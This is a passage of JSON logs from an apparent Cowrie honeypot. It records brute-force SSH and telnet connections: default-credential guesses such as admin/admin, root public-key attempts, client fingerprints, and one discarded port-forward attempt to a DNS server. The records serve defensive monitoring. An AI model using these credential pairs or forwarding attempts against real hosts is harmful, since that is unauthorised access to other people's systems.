SH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.402999Z","src_ip":"87.251.64.176","session":"03145e2d5b28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.687779Z","src_ip":"87.251.64.176","session":"03145e2d5b28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.787344Z","session":"03145e2d5b28","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.886879Z","src_ip":"87.251.64.176","session":"03145e2d5b28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:36.985125Z","src_ip":"87.251.64.176","session":"03145e2d5b28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.12","src_port":41160,"dst_ip":"10.17.0.5","dst_port":22,"session":"682b3a91ef54","protocol":"ssh","message":"New connection: 185.255.100.12:41160 (10.17.0.5:22) [session: 682b3a91ef54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.255599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.260860Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.269925Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:06:5f:6f:10:d2:f4:6a:59:07:2f:f6:dd:0a:2e:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGj2rg2C9q0RJMA/CgsZMlHWc8Hk8xxXh7aYYPOpwJyoACuCZ2yEqMCdeqb2IPt0As0ZB9HY+83yxj1ts6jkqj7nnSLkHBVy+9oipYIrpgkgy0yWG9JXoee1BYSGrvHz5pa5tj5Y7QzVR5RD0m1JPaYgyEE9NfC9LI83i/R3H1vnpUaCWtfAApXdBKyjO9Tjttdky3J8bZbmAAcdVjDPnmFT+RFiuO+36dXYjXcqJ7rZ3PPhoEp26SFyXv/mRoo+bk5sU/xQEvdq2HJxX+VpPDu78GAOdMr+0LT8J1oh987TFUdK5RjmnWSxEn6GxQ8MFHq7S16ne+a0QQGXF0e+mQRzoFfwzTh5RPGlJzb0Mti3KCIkG8/WBU+Aqhd20GSie2i7lGigbmIYRRUdoCyNEX8LqIsZatxkF1GU6QTGMtnMAlJQXHRU7kawjj7dRaytZiAMG9J9Cr5tp/ZVP/GIn6hp+wTKVREfw5gu/s6Rw/te6mPQxRfnR1KPRX+TnxB7E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:06:5f:6f:10:d2:f4:6a:59:07:2f:f6:dd:0a:2e:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.289108Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:06:5f:6f:10:d2:f4:6a:59:07:2f:f6:dd:0a:2e:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGj2rg2C9q0RJMA/CgsZMlHWc8Hk8xxXh7aYYPOpwJyoACuCZ2yEqMCdeqb2IPt0As0ZB9HY+83yxj1ts6jkqj7nnSLkHBVy+9oipYIrpgkgy0yWG9JXoee1BYSGrvHz5pa5tj5Y7QzVR5RD0m1JPaYgyEE9NfC9LI83i/R3H1vnpUaCWtfAApXdBKyjO9Tjttdky3J8bZbmAAcdVjDPnmFT+RFiuO+36dXYjXcqJ7rZ3PPhoEp26SFyXv/mRoo+bk5sU/xQEvdq2HJxX+VpPDu78GAOdMr+0LT8J1oh987TFUdK5RjmnWSxEn6GxQ8MFHq7S16ne+a0QQGXF0e+mQRzoFfwzTh5RPGlJzb0Mti3KCIkG8/WBU+Aqhd20GSie2i7lGigbmIYRRUdoCyNEX8LqIsZatxkF1GU6QTGMtnMAlJQXHRU7kawjj7dRaytZiAMG9J9Cr5tp/ZVP/GIn6hp+wTKVREfw5gu/s6Rw/te6mPQxRfnR1KPRX+TnxB7E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.292583Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:bb:e1:5a:59:e2:0f:97:bd:7b:36:7e:11:5e:0c:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEXFZrD4z+cPonqhEnHqSzI3zA9GY4q36XUNx/v0/zYBYJHaLkgneuoj0KgfA2CbdPzXIySiHtA1EjxHoLWw9dFU+X/nFQsn2LDdK5m7Z525AMeQplR1fvnrnnAOlE6vGO3ORTHmYbSmB35MCi68ttKsy61YbW8rcVEVX8p35sf8giihFYM97fqQ7Wgb2SA8n/izVj/U9ggDBlAa1g13OiHfrhsMq2rgBk3273VNpIwhWbBce7aDVmO+BSfiJWD4sw1w9r1kBKk0cx8Kcad+tnQZj5VHL9B3WFwDYqpfJrr5CuqBm4VtOUR+GI49QVT70S4Y0JhoKkP75WULMCrQ45","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:bb:e1:5a:59:e2:0f:97:bd:7b:36:7e:11:5e:0c:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.300729Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:bb:e1:5a:59:e2:0f:97:bd:7b:36:7e:11:5e:0c:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEXFZrD4z+cPonqhEnHqSzI3zA9GY4q36XUNx/v0/zYBYJHaLkgneuoj0KgfA2CbdPzXIySiHtA1EjxHoLWw9dFU+X/nFQsn2LDdK5m7Z525AMeQplR1fvnrnnAOlE6vGO3ORTHmYbSmB35MCi68ttKsy61YbW8rcVEVX8p35sf8giihFYM97fqQ7Wgb2SA8n/izVj/U9ggDBlAa1g13OiHfrhsMq2rgBk3273VNpIwhWbBce7aDVmO+BSfiJWD4sw1w9r1kBKk0cx8Kcad+tnQZj5VHL9B3WFwDYqpfJrr5CuqBm4VtOUR+GI49QVT70S4Y0JhoKkP75WULMCrQ45","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.311645Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:9d:1d:27:8f:cf:ea:1d:5a:0c:95:84:cb:f3:43:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd3tgRjrHzlKLBmc2x4YqCPAK425pH65HlUGTF7ZO8zJfdDrdhrs1VLhd8stRb0TTN/O4DXM0IODKu6isy6AZ7dKmtTPrMXFIflno0TaDG6vnFBDfIm9X25RgJkj2u3l8MAHizHwKn9YDJ9lWiUYt2d5tJ37l/9zMdF14T/0VQWWz2Si9dDAUOysuXXCrnEq4u8Q43+e1thWsTddqiUBBJ+gLZeu4rtF0qmAowwgXoYsibVkPPSqh5FGfdeX5BLPI1iDz7jdB7ZhKJPdDq7cIKcePBEx8wq+c5jeDlZlrz/BuCtH/fXgSD8Xgup3Is4b42M8c8CKVPdEzpKpuDpMO/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:9d:1d:27:8f:cf:ea:1d:5a:0c:95:84:cb:f3:43:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.327021Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:9d:1d:27:8f:cf:ea:1d:5a:0c:95:84:cb:f3:43:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd3tgRjrHzlKLBmc2x4YqCPAK425pH65HlUGTF7ZO8zJfdDrdhrs1VLhd8stRb0TTN/O4DXM0IODKu6isy6AZ7dKmtTPrMXFIflno0TaDG6vnFBDfIm9X25RgJkj2u3l8MAHizHwKn9YDJ9lWiUYt2d5tJ37l/9zMdF14T/0VQWWz2Si9dDAUOysuXXCrnEq4u8Q43+e1thWsTddqiUBBJ+gLZeu4rtF0qmAowwgXoYsibVkPPSqh5FGfdeX5BLPI1iDz7jdB7ZhKJPdDq7cIKcePBEx8wq+c5jeDlZlrz/BuCtH/fXgSD8Xgup3Is4b42M8c8CKVPdEzpKpuDpMO/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.331730Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:ce:e9:b5:78:8f:e5:d8:2b:5d:d0:b4:4b:fc:65:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC29YO5SQLspVAJzA9jNO6zJxA7Hms2kKxJY+PlPx8U4j+QZ0AzieUVXxl5plnNAb7EqmZVxhDE/kDGHJ92QfdEaZcgNCStALBvcwwj0MR9Pr7TOl9a54mnJ7wO/qFVUvR86VSh8+In55UmStBprDRLgMwJdFJgtuy59BXggZu6Bm2Z/I7LbnHvibN7S3AZtyhYIRK0znSaJ9XLRgXdRXhN0X23D+GuXadsSfHQwrEK/y9aSLDYitrugLbV6ArlfPva5yoQk81/zc25+/UK1sNEtf9oqpgktvSYWVh1vKr+9oPafrxCurbqDWC89fwUyFZrkXnN0x4q09SXODBZyB6l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:ce:e9:b5:78:8f:e5:d8:2b:5d:d0:b4:4b:fc:65:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.343062Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:ce:e9:b5:78:8f:e5:d8:2b:5d:d0:b4:4b:fc:65:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC29YO5SQLspVAJzA9jNO6zJxA7Hms2kKxJY+PlPx8U4j+QZ0AzieUVXxl5plnNAb7EqmZVxhDE/kDGHJ92QfdEaZcgNCStALBvcwwj0MR9Pr7TOl9a54mnJ7wO/qFVUvR86VSh8+In55UmStBprDRLgMwJdFJgtuy59BXggZu6Bm2Z/I7LbnHvibN7S3AZtyhYIRK0znSaJ9XLRgXdRXhN0X23D+GuXadsSfHQwrEK/y9aSLDYitrugLbV6ArlfPva5yoQk81/zc25+/UK1sNEtf9oqpgktvSYWVh1vKr+9oPafrxCurbqDWC89fwUyFZrkXnN0x4q09SXODBZyB6l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.347611Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:d2:43:0d:5c:24:f3:30:26:97:89:c2:31:c7:36:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFKElg3k+tsmbQaBYvomMHbRejIyHn2JMfqirJp/tltj3D7vs4h5a+Tg3/VkLq/lQ+IeJab+anlzb/OZM/IlhZxlVmilIkfbj7g0cwg1lrDOKAuNjiWbn2WBjdRbCvUCveTUTbCZabEK2azXFU9mpkj+SJ5Q/n4qBJmnlcT3uOsWwrax+IGK8SWyBVkfgcGSSAisNrhTHP21L8btA10y0MJRKgLdSK0a6HM2AQ6oIXuRB6gzNhLoWTmfzJ9vMtpE3rBEnyGoFbBbwlhAQgxWWD14mr0xh7u5QWI6MmpWeUYqRyCdz+SCg5vZFoMJWA/4zHGj0N1RitNpsA8bBaXFQH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:d2:43:0d:5c:24:f3:30:26:97:89:c2:31:c7:36:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.357297Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:d2:43:0d:5c:24:f3:30:26:97:89:c2:31:c7:36:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFKElg3k+tsmbQaBYvomMHbRejIyHn2JMfqirJp/tltj3D7vs4h5a+Tg3/VkLq/lQ+IeJab+anlzb/OZM/IlhZxlVmilIkfbj7g0cwg1lrDOKAuNjiWbn2WBjdRbCvUCveTUTbCZabEK2azXFU9mpkj+SJ5Q/n4qBJmnlcT3uOsWwrax+IGK8SWyBVkfgcGSSAisNrhTHP21L8btA10y0MJRKgLdSK0a6HM2AQ6oIXuRB6gzNhLoWTmfzJ9vMtpE3rBEnyGoFbBbwlhAQgxWWD14mr0xh7u5QWI6MmpWeUYqRyCdz+SCg5vZFoMJWA/4zHGj0N1RitNpsA8bBaXFQH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.361849Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:58:42.373793Z","src_ip":"185.255.100.12","session":"682b3a91ef54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c69b0393d976","protocol":"telnet","message":"New connection: 135.148.14.151:56830 (159.203.135.109:23) [session: c69b0393d976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:01.222004Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":36280,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb68bdadb5be","protocol":"ssh","message":"New connection: 129.226.4.94:36280 (159.203.135.109:22) [session: bb68bdadb5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:23.697848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:23.702869Z","src_ip":"129.226.4.94","session":"bb68bdadb5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:23.949398Z","src_ip":"129.226.4.94","session":"bb68bdadb5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"123456","message":"login attempt [pool/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:24.972567Z","src_ip":"129.226.4.94","session":"bb68bdadb5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:26.223089Z","src_ip":"129.226.4.94","session":"bb68bdadb5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39524,"dst_ip":"159.203.135.109","dst_port":23,"session":"da1a542988f7","protocol":"telnet","message":"New connection: 135.148.14.151:39524 (159.203.135.109:23) [session: da1a542988f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:29.624047Z"}
{"eventid":"cowrie.session.closed","duration":35.629783153533936,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:36.851643Z","src_ip":"135.148.14.151","session":"c69b0393d976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51148,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ea0b6c6e860","protocol":"telnet","message":"New connection: 135.148.14.151:51148 (159.203.135.109:23) [session: 2ea0b6c6e860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:48.575708Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52544,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c62897b7134","protocol":"telnet","message":"New connection: 135.148.14.151:52544 (159.203.135.109:23) [session: 4c62897b7134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:59:51.546496Z"}
{"eventid":"cowrie.session.closed","duration":36.02321410179138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:05.646950Z","src_ip":"135.148.14.151","session":"da1a542988f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.18518567085266,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:25.760800Z","src_ip":"135.148.14.151","session":"2ea0b6c6e860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.87297749519348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:26.419353Z","src_ip":"135.148.14.151","session":"4c62897b7134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34590,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d4c8a8a70b7","protocol":"ssh","message":"New connection: 103.27.238.116:34590 (10.17.0.5:22) [session: 5d4c8a8a70b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:36.424528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:36.431357Z","src_ip":"103.27.238.116","session":"5d4c8a8a70b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57522,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d2e424d63e","protocol":"ssh","message":"New connection: 103.27.238.120:57522 (10.17.0.5:22) [session: e6d2e424d63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:36.471200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:36.476301Z","src_ip":"103.27.238.120","session":"e6d2e424d63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:36.698605Z","src_ip":"103.27.238.116","session":"5d4c8a8a70b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-